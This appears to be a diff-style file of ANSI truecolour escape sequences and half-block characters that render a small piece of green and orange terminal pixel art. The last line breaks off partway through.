+ \e[38;2;49;80;41m▄\e[38;2;73;133;59m▄\e[48;2;20;21;20m\e[38;2;91;163;72m▄\e[48;2;14;27;12m\e[38;2;96;174;76m▄\e[48;2;51;92;41m\e[38;2;98;177;78m▄\e[48;2;86;155;68m\e[38;2;98;177;78m▄\e[48;2;96;173;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;97;175;76m\e[38;2;98;177;78m▄\e[48;2;93;168;74m\e[38;2;98;177;78m▄\e[48;2;99;163;83m\e[38;2;97;177;77m▄\e[48;2;99;151;86m\e[38;2;98;177;78m▄\e[48;2;35;57;29m\e[38;2;98;176;78m▄\e[48;2;19;21;19m\e[38;2;94;169;75m▄\e[0m\e[38;2;70;125;56m▄\e[0m
+ \e[38;2;42;65;36m▄\e[38;2;62;106;52m▄\e[48;2;94;95;94m\e[38;2;86;152;70m▄\e[48;2;57;72;53m\e[38;2;96;174;77m▄\e[48;2;57;96;47m\e[38;2;98;177;78m▄\e[48;2;78;136;62m\e[38;2;98;177;78m▄\e[48;2;95;167;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;77m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m\e[38;2;76;137;60m▄\e[48;2;98;177;78m\e[38;2;54;97;42m▄\e[48;2;99;179;79m\e[38;2;39;71;30m▄\e[48;2;100;181;79m\e[38;2;35;60;30m▄\e[48;2;101;181;81m\e[38;2;42;66;37m▄\e[48;2;100;177;80m\e[38;2;52;73;45m▄\e[48;2;95;175;76m\e[38;2;47;75;40m▄\e[48;2;94;178;73m\e[38;2;41;75;33m▄\e[48;2;98;179;78m\e[38;2;42;73;34m▄\e[48;2;99;180;79m\e[38;2;40;70;33m▄\e[48;2;99;179;78m\e[38;2;44;75;36m▄\e[48;2;97;177;77m\e[38;2;55;93;46m▄\e[48;2;97;176;77m\e[38;2;65;113;52m▄\e[48;2;98;177;78m\e[38;2;79;141;63m▄\e[48;2;98;177;78m\e[38;2;93;166;75m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;94;170;75m\e[38;2;98;177;78m▄\e[48;2;71;128;56m\e[38;2;98;177;78m▄\e[48;2;34;56;28m\e[38;2;97;175;77m▄\e[48;2;64;66;64m\e[38;2;78;140;62m▄\e[0m
+ \e[48;2;66;112;54m\e[38;2;98;177;78m▄\e[48;2;80;133;66m\e[38;2;98;177;78m▄\e[48;2;95;162;76m\e[38;2;98;177;78m▄\e[48;2;96;171;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m\e[38;2;96;174;76m▄\e[48;2;98;177;78m\e[38;2;74;130;59m▄\e[48;2;98;176;78m\e[38;2;32;49;27m▄\e[48;2;95;166;76m\e[38;2;18;29;15m▄\e[48;2;73;126;59m\e[38;2;65;113;53m▄\e[48;2;40;62;34m\e[38;2;107;209;83m▄\e[48;2;23;43;19m\e[38;2;77;220;42m▄\e[48;2;32;72;22m\e[38;2;72;218;36m▄\e[48;2;55;155;30m\e[38;2;73;217;37m▄\e[48;2;71;203;38m\e[38;2;73;217;37m▄\e[48;2;79;212;46m\e[38;2;73;218;37m▄\e[48;2;81;216;48m\e[38;2;73;218;37m▄\e[48;2;82;220;48m\e[38;2;73;218;37m▄\e[48;2;79;221;44m\e[38;2;73;218;37m▄\e[48;2;76;219;40m\e[38;2;73;218;37m▄\e[48;2;76;218;40m\e[38;2;73;218;37m▄\e[48;2;75;213;41m\e[38;2;73;218;37m▄\e[48;2;79;203;48m\e[38;2;73;218;37m▄\e[48;2;76;175;52m\e[38;2;73;218;37m▄\e[48;2;52;127;33m\e[38;2;73;218;37m▄\e[48;2;29;75;18m\e[38;2;73;217;37m▄\e[48;2;19;45;12m\e[38;2;73;218;36m▄\e[48;2;45;74;38m\e[38;2;65;196;33m▄\e[48;2;76;127;62m\e[38;2;44;132;24m▄\e[48;2;90;158;72m\e[38;2;16;45;10m▄\e[48;2;97;175;77m\e[38;2;28;50;22m▄\e[48;2;98;177;78m\e[38;2;80;145;64m▄\e[48;2;98;177;78m\e[38;2;97;175;77m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;97;173;78m\e[38;2;98;177;78m▄\e[48;2;69;114;56m\e[38;2;98;177;78m▄\e[48;2;30;38;28m\e[38;2;103;179;83m▄\e[0m\e[38;2;99;149;87m▄\e[0m
+ \e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;83;150;66m▄\e[48;2;98;177;78m\e[38;2;44;80;34m▄\e[48;2;99;179;78m\e[38;2;33;49;28m▄\e[48;2;87;159;69m\e[38;2;68;97;61m▄\e[48;2;46;84;37m\e[38;2;87;165;68m▄\e[48;2;25;37;21m\e[38;2;83;208;52m▄\e[48;2;59;131;42m\e[38;2;73;219;37m▄\e[48;2;74;199;43m\e[38;2;74;223;37m▄\e[48;2;72;213;38m\e[38;2;67;204;35m▄\e[48;2;73;218;37m\e[38;2;55;171;29m▄\e[48;2;72;218;36m\e[38;2;59;136;22m▄\e[48;2;72;218;36m\e[38;2;103;132;15m▄\e[48;2;73;219;37m\e[38;2;149;133;9m▄\e[48;2;72;220;37m\e[38;2;168;130;7m▄\e[48;2;73;220;37m\e[38;2;167;118;5m▄\e[48;2;72;218;37m\e[38;2;106;78;4m▄\e[48;2;69;210;36m\e[38;2;93;69;4m▄\e[48;2;66;199;34m\e[38;2;173;117;4m▄\e[48;2;63;192;32m\e[38;2;177;119;4m▄\e[48;2;62;186;32m\e[38;2;173;116;4m▄\e[48;2;61;186;31m\e[38;2;176;115;4m▄\e[48;2;63;191;32m\e[38;2;174;115;4m▄\e[48;2;67;202;34m\e[38;2;170;113;4m▄\e[48;2;70;213;36m\e[38;2;180;118;3m▄\e[48;2;72;219;37m\e[38;2;175;117;4m▄\e[48;2;73;220;37m\e[38;2;154;120;7m▄\e[48;2;73;220;37m\e[38;2;80;94;11m▄\e[48;2;73;219;37m\e[38;2;48;93;15m▄\e[48;2;73;218;37m\e[38;2;41;112;19m▄\e[48;2;72;215;36m\e[38;2;45;144;25m▄\e[48;2;64;192;32m\e[38;2;63;191;32m▄\e[48;2;32;99;16m\e[38;2;73;218;37m▄\e[48;2;21;41;16m\e[38;2;72;210;38m▄\e[48;2;38;66;30m\e[38;2;67;177;41m▄\e[48;2;79;141;63m\e[38;2;53;123;36m▄\e[48;2;98;178;78m\e[38;2;32;57;25m▄\e[48;2;98;179;77m\e[38;2;25;46;20m▄\e[48;2;97;177;77m\e[38;2;56;100;46m▄\e[48;2;98;177;78m\e[38;2;93;165;75m▄\e[48;2;97;176;77m\e[38;2;100;181;80m▄\e[48;2;98;177;77m\e[38;2;97;176;76m▄\e[48;2;97;176;78m\e[38;2;98;177;78m▄\e[48;2;99;174;79m\e[38;2;98;177;78m▄\e[0m
+ \e[48;2;98;178;78m\e[38;2;46;76;38m▄\e[48;2;100;178;80m\e[38;2;50;69;45m▄\e[48;2;99;176;80m\e[38;2;35;46;33m▄\e[48;2;82;148;65m\e[38;2;7;9;6m▄\e[48;2;64;117;50m\e[38;2;35;54;30m▄\e[48;2;42;77;34m\e[38;2;52;107;39m▄\e[48;2;26;46;21m\e[38;2;80;194;52m▄\e[48;2;34;71;26m\e[38;2;73;216;38m▄\e[48;2;54;133;35m\e[38;2;67;192;32m▄\e[48;2;81;199;52m\e[38;2;81;158;23m▄\e[48;2;80;218;46m\e[38;2;100;110;11m▄\e[48;2;66;199;33m\e[38;2;152;98;2m▄\e[48;2;60;157;26m\e[38;2;220;129;1m▄\e[48;2;80;128;18m\e[38;2;251;145;0m▄\e[48;2;120;110;9m\e[38;2;255;147;0m▄\e[48;2;154;106;4m\e[38;2;255;147;0m▄\e[48;2;181;114;2m\e[38;2;255;147;0m▄\e[48;2;230;134;0m\e[38;2;255;147;0m▄\e[48;2;251;144;0m\e[38;2;255;147;0m▄\e[48;2;254;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;163;94;0m\e[38;2;134;78;0m▄\e[48;2;2;1;0m\e[38;2;58;33;0m▄\e[48;2;13;7;0m\e[38;2;133;76;0m▄\e[48;2;64;38;0m\e[38;2;12;7;0m▄\e[48;2;250;144;0m\e[38;2;234;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;146;0m\e[38;2;255;147;0m▄\e[48;2;239;143;2m\e[38;2;255;147;0m▄\e[48;2;223;131;1m\e[38;2;255;147;0m▄\e[48;2;192;120;2m\e[38;2;255;147;0m▄\e[48;2;130;96;5m\e[38;2;255;147;0m▄\e[48;2;82;88;9m\e[38;2;255;148;0m▄\e[48;2;62;104;15m\e[38;2;247;147;1m▄\e[48;2;49;132;22m\e[38;2;212;134;3m▄\e[48;2;57;165;32m\e[38;2;144;95;3m▄\e[48;2;53;117;38m\e[38;2;74;61;8m▄\e[48;2;50;97;39m\e[38;2;47;60;21m▄\e[48;2;35;56;29m\e[38;2;47;81;33m▄\e[48;2;17;22;15m\e[38;2;20;34;19m▄\e[48;2;31;50;26m\e[38;2;48;73;42m▄\e[48;2;55;90;47m\e[38;2;37;56;33m▄\e[48;2;78;132;64m\e[38;2;21;31;18m▄\e[48;2;95;167;78m\e[38;2;18;26;16m▄\e[0m
+ \e[48;2;48;74;43m\e[38;2;51;78;45m▄\e[48;2;48;74;43m\e[38;2;50;76;44m▄\e[48;2;46;71;42m\e[38;2;12;17;11m▄\e[48;2;32;54;28m\e[38;2;45;93;35m▄\e[48;2;58;112;46m\e[38;2;26;45;17m▄\e[48;2;55;130;37m\e[38;2;121;83;5m▄\e[48;2;57;133;27m\e[38;2;232;138;0m▄\e[48;2;101;96;8m\e[38;2;253;146;0m▄\e[48;2;200;118;1m\e[38;2;254;147;0m▄\e[48;2;248;144;0m\e[38;2;255;147;0m▄\e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;173;100;0m\e[38;2;210;122;0m▄\e[48;2;172;100;0m\e[38;2;76;44;0m▄\e[48;2;214;123;0m\e[38;2;153;88;0m▄\e[48;2;36;21;0m\e[38;2;162;94;0m▄\e[48;2;201;116;0m\e[38;2;20;12;0m▄\e[48;2;254;147;0m\e[38;2;238;137;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;241;143;1m\e[38;2;255;147;0m▄\e[48;2;213;125;0m\e[38;2;255;147;0m▄\e[48;2;117;73;3m\e[38;2;252;147;1m▄\e[48;2;25;36;21m\e[38;2;94;69;18m▄\e[48;2;50;77;44m\e[38;2;39;59;33m▄\e[48;2;51;78;45m \e[48;2;51;78;44m\e[38;2;51;78;45m▄\e[0m
+ \e[48;2;51;78;45m\e[38;2;50;76;44m▄\e[48;2;40;58;34m\e[38;2;43;36;13m▄\e[48;2;38;37;6m\e[38;2;240;143;2m▄\e[48;2;149;95;6m\e[38;2;254;147;0m▄\e[48;2;226;134;1m\e[38;2;255;147;0m▄\e[48;2;253;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;243;140;0m▄\e[48;2;116;67;0m\e[38;2;90;52;0m▄\e[48;2;237;137;0m\e[38;2;254;147;0m▄\e[48;2;248;143;0m\e[38;2;255;147;0m▄\e[48;2;250;144;0m\e[38;2;255;147;0m▄\e[48;2;45;25;0m\e[38;2;191;110;0m▄\e[48;2;64;36;0m\e[38;2;32;18;0m▄\e[48;2;245;141;0m\e[38;2;152;87;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;230;140;6m\e[38;2;254;147;0m▄\e[48;2;25;21;7m\e[38;2;143;86;2m▄\e[48;2;48;74;42m\e[38;2;39;60;34m▄\e[48;2;51;78;45m \e[0m
+ \e[48;2;41;63;37m\e[38;2;40;47;23m▄\e[48;2;119;70;1m\e[38;2;230;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;180;104;0m\e[38;2;120;68;0m▄\e[48;2;135;78;0m\e[38;2;158;91;0m▄\e[48;2;255;147;0m\e[38;2;250;145;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;146;0m▄\e[48;2;252;145;0m\e[38;2;209;120;0m▄\e[48;2;54;31;0m\e[38;2;61;35;0m▄\e[48;2;94;54;0m\e[38;2;159;91;0m▄\e[48;2;254;146;0m\e[38;2;244;140;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;240;144;1m\e[38;2;255;147;0m▄\e[48;2;36;40;18m\e[38;2;70;49;6m▄\e[48;2;50;78;45m\e[38;2;45;69;40m▄\e[0m
+ \e[48;2;65;48;9m\e[38;2;98;64;6m▄\e[48;2;255;149;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;254;146;0m▄\e[48;2;225;130;0m\e[38;2;175;100;0m▄\e[48;2;210;120;0m\e[38;2;253;146;0m▄\e[48;2;209;121;0m\e[38;2;254;147;0m▄\e[48;2;86;49;0m\e[38;2;189;109;0m▄\e[48;2;254;146;0m\e[38;2;142;81;0m▄\e[48;2;255;147;0m\e[38;2;102;59;0m▄\e[48;2;199;115;0m\e[38;2;69;40;0m▄\e[48;2;244;141;0m\e[38;2;238;138;0m▄\e[48;2;253;146;0m\e[38;2;184;105;0m▄\e[48;2;200;115;0m\e[38;2;231;134;0m▄\e[48;2;253;147;0m\e[38;2;254;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;149;98;7m\e[38;2;215;132;5m▄\e[48;2;35;54;32m\e[38;2;31;42;22m▄\e[0m
+ \e[48;2;133;82;3m\e[38;2;153;89;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;248;147;0m▄\e[48;2;254;147;0m\e[38;2;242;142;0m▄\e[48;2;204;116;0m\e[38;2;224;131;0m▄\e[48;2;200;115;0m\e[38;2;205;124;1m▄\e[48;2;199;115;0m\e[38;2;175;109;2m▄\e[48;2;172;100;0m\e[38;2;157;102;2m▄\e[48;2;168;97;0m\e[38;2;172;114;3m▄\e[48;2;206;119;0m\e[38;2;156;115;5m▄\e[48;2;215;125;0m\e[38;2;138;111;7m▄\e[48;2;180;105;0m\e[38;2;121;105;8m▄\e[48;2;233;136;0m\e[38;2;120;109;8m▄\e[48;2;254;148;0m\e[38;2;116;111;9m▄\e[48;2;254;148;0m\e[38;2;112;111;10m▄\e[48;2;255;148;0m\e[38;2;130;121;10m▄\e[48;2;254;148;0m\e[38;2;103;105;10m▄\e[48;2;254;148;0m\e[38;2;99;99;9m▄\e[48;2;254;148;0m\e[38;2;106;98;8m▄\e[48;2;254;148;0m\e[38;2;106;96;8m▄\e[48;2;255;148;0m\e[38;2;118;98;7m▄\e[48;2;255;147;0m\e[38;2;123;101;7m▄\e[48;2;255;147;0m\e[38;2;129;99;6m▄\e[48;2;255;147;0m\e[38;2;141;100;5m▄\e[48;2;255;147;0m\e[38;2;166;111;4m▄\e[48;2;255;147;0m\e[38;2;189;122;4m▄\e[48;2;255;147;0m\e[38;2;217;131;1m▄\e[48;2;255;147;0m\e[38;2;248;145;0m▄\e[48;2;255;147;0m\e[38;2;250;148;0m▄\e[48;2;255;147;0m\e[38;2;254;149;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;147;1m\e[38;2;254;147;0m▄\e[48;2;47;44;15m\e[38;2;81;54;7m▄\e[0m
+ \e[48;2;163;95;0m\e[38;2;176;103;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;147;0m▄\e[48;2;255;147;0m\e[38;2;250;144;0m▄\e[48;2;255;147;0m\e[38;2;238;146;1m▄\e[48;2;254;147;0m\e[38;2;170;117;4m▄\e[48;2;252;147;0m\e[38;2;78;65;5m▄\e[48;2;239;144;1m\e[38;2;36;71;11m▄\e[48;2;220;136;2m\e[38;2;41;122;21m▄\e[48;2;193;124;2m\e[38;2;59;179;31m▄\e[48;2;178;119;4m\e[38;2;69;210;35m▄\e[48;2;129;104;6m\e[38;2;73;219;37m▄\e[48;2;67;87;10m\e[38;2;73;219;37m▄\e[48;2;61;106;15m\e[38;2;73;218;37m▄\e[48;2;52;126;21m\e[38;2;73;218;37m▄\e[48;2;52;150;25m\e[38;2;73;218;37m▄\e[48;2;58;177;30m\e[38;2;73;218;37m▄\e[48;2;63;194;33m\e[38;2;73;218;37m▄\e[48;2;66;204;34m\e[38;2;73;218;37m▄\e[48;2;69;212;36m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;72;219;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;219;37m\e[38;2;73;218;37m▄\e[48;2;72;214;36m\e[38;2;73;218;37m▄\e[48;2;68;207;35m\e[38;2;73;218;37m▄\e[48;2;65;197;34m\e[38;2;73;218;37m▄\e[48;2;61;185;32m\e[38;2;73;218;37m▄\e[48;2;51;157;27m\e[38;2;73;218;37m▄\e[48;2;41;125;21m\e[38;2;73;218;37m▄\e[48;2;40;106;18m\e[38;2;73;218;37m▄\e[48;2;75;92;10m\e[38;2;73;218;37m▄\e[48;2;76;85;10m\e[38;2;73;219;37m▄\e[48;2;112;94;7m\e[38;2;72;216;36m▄\e[48;2;162;113;5m\e[38;2;64;194;33m▄\e[48;2;219;131;0m\e[38;2;50;152;26m▄\e[48;2;231;138;1m\e[38;2;30;65;14m▄\e[48;2;252;147;0m\e[38;2;106;71;5m▄\e[48;2;97;61;4m\e[38;2;30;31;7m▄\e[0m
+ \e[48;2;186;108;0m\e[38;2;185;108;0m▄\e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;247;144;0m▄\e[48;2;255;147;0m\e[38;2;188;113;1m▄\e[48;2;255;147;0m\e[38;2;110;100;8m▄\e[48;2;248;147;0m\e[38;2;72;136;20m▄\e[48;2;206;124;1m\e[38;2;62;175;29m▄\e[48;2;115;81;4m\e[38;2;67;204;34m▄\e[48;2;55;92;13m\e[38;2;72;217;36m▄\e[48;2;60;157;26m\e[38;2;73;218;37m▄\e[48;2;66;195;32m\e[38;2;73;218;37m▄\e[48;2;70;212;35m\e[38;2;73;218;37m▄\e[48;2;72;215;36m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;210;37m\e[38;2;71;214;37m▄\e[48;2;58;142;37m\e[38;2;57;136;37m▄\e[48;2;51;109;39m\e[38;2;54;109;40m▄\e[48;2;36;76;26m\e[38;2;38;71;31m▄\e[0m
+ \e[48;2;73;63;12m\e[38;2;24;46;20m▄\e[48;2;89;67;7m\e[38;2;54;120;38m▄\e[48;2;67;119;19m\e[38;2;66;192;35m▄\e[48;2;61;177;29m\e[38;2;73;217;37m▄\e[48;2;71;213;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;214;35m\e[38;2;42;129;21m▄\e[48;2;43;131;22m\e[38;2;4;10;2m▄\e[48;2;37;111;19m\e[38;2;4;10;2m▄\e[48;2;60;180;30m\e[38;2;7;22;3m▄\e[48;2;73;218;37m\e[38;2;62;187;31m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;69;208;35m\e[38;2;20;61;10m▄\e[48;2;43;129;22m\e[38;2;4;11;2m▄\e[48;2;38;116;19m\e[38;2;3;8;1m▄\e[48;2;64;192;32m\e[38;2;19;57;10m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;214;36m\e[38;2;71;213;36m▄\e[48;2;55;130;37m\e[38;2;55;123;38m▄\e[48;2;54;108;41m\e[38;2;56;110;44m▄\e[48;2;35;60;30m\e[38;2;35;57;30m▄\e[0m
+ \e[48;2;37;68;29m\e[38;2;38;61;33m▄\e[48;2;58;132;39m\e[38;2;62;134;45m▄\e[48;2;64;179;36m\e[38;2;55;129;37m▄\e[48;2;72;217;36m\e[38;2;71;210;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;27;82;14m\e[38;2;59;178;30m▄\e[48;2;4;11;3m\e[38;2;3;9;1m▄\e[48;2;0;0;0m\e[38;2;8;18;4m▄\e[48;2;1;3;1m\e[38;2;4;12;2m▄\e[48;2;36;112;19m\e[38;2;54;163;27m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;210;36m\e[38;2;72;217;36m▄\e[48;2;4;11;1m\e[38;2;9;28;4m▄\e[48;2;0;0;0m\e[38;2;6;16;3m▄\e[48;2;1;3;1m\e[38;2;6;15;3m▄\e[48;2;13;39;6m\e[38;2;32;94;15m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;207;36m\e[38;2;67;196;36m▄\e[48;2;52;110;38m \e[48;2;57;101;47m\e[38;2;56;90;47m▄\e[48;2;36;55;31m\e[38;2;38;58;33m▄\e[0m
+ \e[48;2;40;63;35m\e[38;2;43;67;38m▄\e[48;2;61;117;48m\e[38;2;45;80;38m▄\e[48;2;54;114;39m\e[38;2;52;110;38m▄\e[48;2;64;177;36m\e[38;2;59;150;37m▄\e[48;2;72;217;36m\e[38;2;72;214;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;61;182;30m\e[38;2;73;218;37m▄\e[48;2;45;135;22m\e[38;2;73;218;37m▄\e[48;2;58;174;29m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;212;35m\e[38;2;72;216;36m▄\e[48;2;34;101;17m\e[38;2;11;32;5m▄\e[48;2;34;101;17m\e[38;2;1;2;1m▄\e[48;2;34;98;18m\e[38;2;1;3;1m▄\e[48;2;35;101;18m\e[38;2;1;1;1m▄\e[48;2;35;100;17m\e[38;2;1;3;1m▄\e[48;2;57;170;29m\e[38;2;56;168;28m▄\e[48;2;73;218;37m 